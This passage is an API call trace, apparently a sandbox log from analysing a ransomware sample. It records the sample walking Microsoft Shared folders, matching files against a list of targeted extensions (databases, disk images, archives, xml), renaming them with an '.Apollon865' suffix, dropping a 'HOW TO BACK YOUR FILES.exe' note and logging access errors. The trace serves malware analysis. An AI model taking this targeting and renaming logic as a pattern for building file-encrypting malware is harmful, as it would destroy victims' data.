	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="perflogs") returned -1
	[0076.814] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="MSBuild") returned -1
	[0076.814] lstrlenW (lpString="ja-jp-sym.xml") returned 13
	[0076.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83
	[0076.814] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="ja-jp-sym.xml" | out: lpString1="ja-jp-sym.xml") returned="ja-jp-sym.xml"
	[0076.815] lstrlenW (lpString="ja-jp-sym.xml") returned 13
	[0076.815] lstrlenW (lpString="Apollon865") returned 10
	[0076.815] lstrcmpiW (lpString1="jp-sym.xml", lpString2="Apollon865") returned 1
	[0076.815] lstrlenW (lpString=".dll") returned 4
	[0076.815] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".dll") returned 1
	[0076.815] lstrlenW (lpString=".lnk") returned 4
	[0076.815] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".lnk") returned 1
	[0076.815] lstrlenW (lpString=".ini") returned 4
	[0076.815] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".ini") returned 1
	[0076.815] lstrlenW (lpString=".sys") returned 4
	[0076.815] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".sys") returned 1
	[0076.815] lstrlenW (lpString="ja-jp-sym.xml") returned 13
	[0076.815] lstrlenW (lpString="bak") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.815] lstrlenW (lpString="ba_") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.815] lstrlenW (lpString="dbb") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.815] lstrlenW (lpString="vmdk") returned 4
	[0076.815] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.815] lstrlenW (lpString="rar") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.815] lstrlenW (lpString="zip") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.815] lstrlenW (lpString="tgz") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.815] lstrlenW (lpString="vbox") returned 4
	[0076.815] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.815] lstrlenW (lpString="vdi") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.815] lstrlenW (lpString="vhd") returned 3
	[0076.815] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.815] lstrlenW (lpString="vhdx") returned 4
	[0076.815] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.815] lstrlenW (lpString="avhd") returned 4
	[0076.815] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.815] lstrlenW (lpString="db") returned 2
	[0076.816] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.816] lstrlenW (lpString="db2") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.816] lstrlenW (lpString="db3") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.816] lstrlenW (lpString="dbf") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.816] lstrlenW (lpString="mdf") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.816] lstrlenW (lpString="mdb") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.816] lstrlenW (lpString="sql") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.816] lstrlenW (lpString="sqlite") returned 6
	[0076.816] lstrcmpiW (lpString1="ym.xml", lpString2="sqlite") returned 1
	[0076.816] lstrlenW (lpString="sqlite3") returned 7
	[0076.816] lstrcmpiW (lpString1="sym.xml", lpString2="sqlite3") returned 1
	[0076.816] lstrlenW (lpString="sqlitedb") returned 8
	[0076.816] lstrcmpiW (lpString1="-sym.xml", lpString2="sqlitedb") returned 1
	[0076.816] lstrlenW (lpString="xml") returned 3
	[0076.816] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.816] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.Apollon865") returned 97
	[0076.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.828] GetLastError () returned 0x5
	[0076.828] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml MoveFileEx error 5\r\n") returned 115
	[0076.828] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml MoveFileEx error 5\r\n") returned 115
	[0076.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.829] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3abb
	[0076.829] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x73, lpOverlapped=0x0) returned 1
	[0076.829] CloseHandle (hObject=0x100) returned 1
	[0076.829] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.829] CloseHandle (hObject=0x0) returned 0
	[0076.829] CloseHandle (hObject=0x0) returned 0
	[0076.829] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2=".") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="..") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="windows") returned -1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="bootmgr") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="temp") returned -1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="pagefile.sys") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="boot") returned 1
	[0076.829] lstrcmpiW (lpString1="symbase.xml", lpString2="ids.txt") returned 1
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2="ntuser.dat") returned 1
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2="perflogs") returned 1
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2="MSBuild") returned 1
	[0076.830] lstrlenW (lpString="symbase.xml") returned 11
	[0076.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86
	[0076.830] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="symbase.xml" | out: lpString1="symbase.xml") returned="symbase.xml"
	[0076.830] lstrlenW (lpString="symbase.xml") returned 11
	[0076.830] lstrlenW (lpString="Apollon865") returned 10
	[0076.830] lstrcmpiW (lpString1="ymbase.xml", lpString2="Apollon865") returned 1
	[0076.830] lstrlenW (lpString=".dll") returned 4
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2=".dll") returned 1
	[0076.830] lstrlenW (lpString=".lnk") returned 4
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2=".lnk") returned 1
	[0076.830] lstrlenW (lpString=".ini") returned 4
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2=".ini") returned 1
	[0076.830] lstrlenW (lpString=".sys") returned 4
	[0076.830] lstrcmpiW (lpString1="symbase.xml", lpString2=".sys") returned 1
	[0076.830] lstrlenW (lpString="symbase.xml") returned 11
	[0076.830] lstrlenW (lpString="bak") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.830] lstrlenW (lpString="ba_") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.830] lstrlenW (lpString="dbb") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.830] lstrlenW (lpString="vmdk") returned 4
	[0076.830] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.830] lstrlenW (lpString="rar") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.830] lstrlenW (lpString="zip") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.830] lstrlenW (lpString="tgz") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.830] lstrlenW (lpString="vbox") returned 4
	[0076.830] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.830] lstrlenW (lpString="vdi") returned 3
	[0076.830] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.830] lstrlenW (lpString="vhd") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.831] lstrlenW (lpString="vhdx") returned 4
	[0076.831] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.831] lstrlenW (lpString="avhd") returned 4
	[0076.831] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.831] lstrlenW (lpString="db") returned 2
	[0076.831] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.831] lstrlenW (lpString="db2") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.831] lstrlenW (lpString="db3") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.831] lstrlenW (lpString="dbf") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.831] lstrlenW (lpString="mdf") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.831] lstrlenW (lpString="mdb") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.831] lstrlenW (lpString="sql") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.831] lstrlenW (lpString="sqlite") returned 6
	[0076.831] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.831] lstrlenW (lpString="sqlite3") returned 7
	[0076.831] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.831] lstrlenW (lpString="sqlitedb") returned 8
	[0076.831] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.831] lstrlenW (lpString="xml") returned 3
	[0076.831] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.831] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.Apollon865") returned 95
	[0076.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.831] GetLastError () returned 0x5
	[0076.831] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml MoveFileEx error 5\r\n") returned 113
	[0076.831] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml MoveFileEx error 5\r\n") returned 113
	[0076.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.832] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b2e
	[0076.832] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x71, lpOverlapped=0x0) returned 1
	[0076.832] CloseHandle (hObject=0x100) returned 1
	[0076.832] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.832] CloseHandle (hObject=0x0) returned 0
	[0076.832] CloseHandle (hObject=0x0) returned 0
	[0076.832] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0
	[0076.832] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.832] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0076.832] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred"
	[0076.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a37c0 | out: hHeap=0x580000) returned 1
	[0076.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0076.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned 72
	[0076.832] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred"
	[0076.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.837] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45df47d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.837] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.837] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.837] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.837] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45df47d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.837] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.837] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.837] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.837] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45df47d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45df47d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.837] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".") returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="..") returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="windows") returned -1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootmgr") returned 1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="temp") returned -1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="pagefile.sys") returned -1
	[0076.837] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="boot") returned 1
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ids.txt") returned 1
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ntuser.dat") returned 1
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="perflogs") returned -1
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="MSBuild") returned 1
	[0076.838] lstrlenW (lpString="oskpredbase.xml") returned 15
	[0076.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*") returned 74
	[0076.838] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="oskpredbase.xml" | out: lpString1="oskpredbase.xml") returned="oskpredbase.xml"
	[0076.838] lstrlenW (lpString="oskpredbase.xml") returned 15
	[0076.838] lstrlenW (lpString="Apollon865") returned 10
	[0076.838] lstrcmpiW (lpString1="edbase.xml", lpString2="Apollon865") returned 1
	[0076.838] lstrlenW (lpString=".dll") returned 4
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".dll") returned 1
	[0076.838] lstrlenW (lpString=".lnk") returned 4
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".lnk") returned 1
	[0076.838] lstrlenW (lpString=".ini") returned 4
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".ini") returned 1
	[0076.838] lstrlenW (lpString=".sys") returned 4
	[0076.838] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".sys") returned 1
	[0076.838] lstrlenW (lpString="oskpredbase.xml") returned 15
	[0076.838] lstrlenW (lpString="bak") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.838] lstrlenW (lpString="ba_") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.838] lstrlenW (lpString="dbb") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.838] lstrlenW (lpString="vmdk") returned 4
	[0076.838] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.838] lstrlenW (lpString="rar") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.838] lstrlenW (lpString="zip") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.838] lstrlenW (lpString="tgz") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.838] lstrlenW (lpString="vbox") returned 4
	[0076.838] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.838] lstrlenW (lpString="vdi") returned 3
	[0076.838] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.838] lstrlenW (lpString="vhd") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.839] lstrlenW (lpString="vhdx") returned 4
	[0076.839] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.839] lstrlenW (lpString="avhd") returned 4
	[0076.839] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.839] lstrlenW (lpString="db") returned 2
	[0076.839] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.839] lstrlenW (lpString="db2") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.839] lstrlenW (lpString="db3") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.839] lstrlenW (lpString="dbf") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.839] lstrlenW (lpString="mdf") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.839] lstrlenW (lpString="mdb") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.839] lstrlenW (lpString="sql") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.839] lstrlenW (lpString="sqlite") returned 6
	[0076.839] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.839] lstrlenW (lpString="sqlite3") returned 7
	[0076.839] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.839] lstrlenW (lpString="sqlitedb") returned 8
	[0076.839] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.839] lstrlenW (lpString="xml") returned 3
	[0076.839] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.839] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.Apollon865") returned 99
	[0076.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.839] GetLastError () returned 0x5
	[0076.839] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml MoveFileEx error 5\r\n") returned 117
	[0076.840] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml MoveFileEx error 5\r\n") returned 117
	[0076.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.840] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b9f
	[0076.840] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x75, lpOverlapped=0x0) returned 1
	[0076.840] CloseHandle (hObject=0xc0) returned 1
	[0076.840] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.840] CloseHandle (hObject=0x0) returned 0
	[0076.840] CloseHandle (hObject=0x0) returned 0
